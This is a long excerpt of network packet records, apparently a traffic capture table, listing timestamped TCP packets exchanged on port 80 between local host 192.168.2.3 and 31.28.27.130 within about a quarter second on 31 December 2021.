Dec 31, 2021 19:13:22.582581043 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582622051 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582660913 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582664013 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582698107 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582736015 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582752943 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582776070 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582827091 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582859993 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582865953 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582905054 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582942009 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582956076 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582982063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582989931 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.583019972 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.583058119 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.583066940 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.583097935 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.583153963 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.631844997 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.631892920 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.631932020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.631968975 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632009983 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632008076 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632050037 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632051945 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632087946 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632128000 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632142067 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632165909 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632180929 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632203102 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632241011 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632246017 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632280111 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632319927 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632358074 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632363081 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632395029 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632402897 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632435083 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632474899 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632510900 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632518053 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632549047 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632561922 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632586956 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632627964 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632632017 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632666111 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632704020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632710934 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632742882 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632786989 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632826090 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632834911 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632867098 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.632900000 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632940054 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.632991076 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633002996 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633044958 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633083105 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633095980 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633120060 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633158922 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633164883 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633194923 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633234024 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633240938 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633272886 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633310080 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633347988 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633352041 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633385897 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633423090 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633433104 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633462906 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633500099 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633512974 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633538008 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633577108 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633585930 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633614063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633651972 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633657932 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.633688927 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633725882 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.633733034 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.638011932 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682352066 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682419062 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682460070 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682497978 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682538033 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682575941 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682583094 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682612896 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682621002 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682653904 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682665110 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682693005 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682732105 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682745934 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682773113 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682810068 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682818890 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682848930 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682885885 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.682888985 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682925940 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682965040 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.682979107 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683005095 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683024883 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683044910 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683084011 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683093071 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683132887 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683191061 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683196068 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683229923 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683284044 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683298111 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683322906 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683361053 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683399916 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683419943 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683438063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683453083 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683475971 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683516979 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683530092 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683556080 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683594942 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683634043 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683648109 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683671951 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683685064 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683711052 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683749914 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683785915 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683800936 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683825016 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683828115 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683862925 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683901072 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683914900 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.683939934 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683976889 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.683990002 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.684016943 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.684056044 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.684070110 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.684092999 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.684132099 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.684144974 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.686463118 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.686506033 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.686527967 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.686547041 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.686696053 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733031988 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733074903 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733103037 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733129978 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733158112 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733186007 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733211994 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733247042 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733251095 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733280897 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733298063 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733304024 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733309031 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733335972 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733361006 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733362913 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733391047 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733416080 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733441114 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733475924 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733500004 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733501911 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733530045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733555079 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733582973 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733608961 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733613968 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733634949 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733663082 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733690023 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733716965 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733717918 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733745098 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733768940 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733771086 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733798981 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733819962 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733825922 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733851910 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733879089 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733906984 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733933926 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733933926 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733962059 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.733987093 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.733989000 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734015942 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734041929 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.734044075 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734070063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734096050 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734122992 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734149933 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734149933 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.734175920 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734204054 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.734217882 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.734251022 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.734973907 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.735002041 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.735028982 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.735064030 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.735117912 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.735168934 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.735172987 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.735199928 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.736011982 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.782804012 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.782850981 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.782890081 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.782928944 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.782968998 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.782999992 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783010006 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783025026 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783047915 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783087969 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783128023 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783149004 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783165932 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783205986 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783245087 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783263922 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783282995 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783322096 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783334970 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783360004 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783397913 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783416986 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783437967 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783474922 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783494949 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783514977 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783554077 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783567905 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783591032 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783628941 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783641100 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783667088 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783704996 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783720970 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783744097 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783781052 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783797979 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783819914 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783858061 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783895016 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783921003 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.783935070 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783977985 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.783993006 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784022093 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784063101 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784080029 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784101009 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784140110 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784153938 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784178972 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784215927 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784231901 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784255028 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784292936 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784310102 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784332037 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784372091 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784389019 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784409046 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784449100 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784463882 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784487963 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784526110 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784564972 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784583092 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784604073 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784642935 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784657955 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784682989 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784718990 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784734964 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784759045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784796953 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784817934 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784833908 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784889936 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.784902096 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784941912 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784979105 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.784998894 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785022020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785062075 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785078049 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785098076 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785135984 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785151005 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785173893 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785212040 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785249949 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785271883 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785288095 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785327911 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785345078 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785367012 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785403013 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785425901 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785442114 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785480976 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785492897 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785517931 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785557032 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785568953 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.785594940 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785633087 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785672903 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.785686016 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.786089897 CET	49836	80	192.168.2.3	31.28.27.130
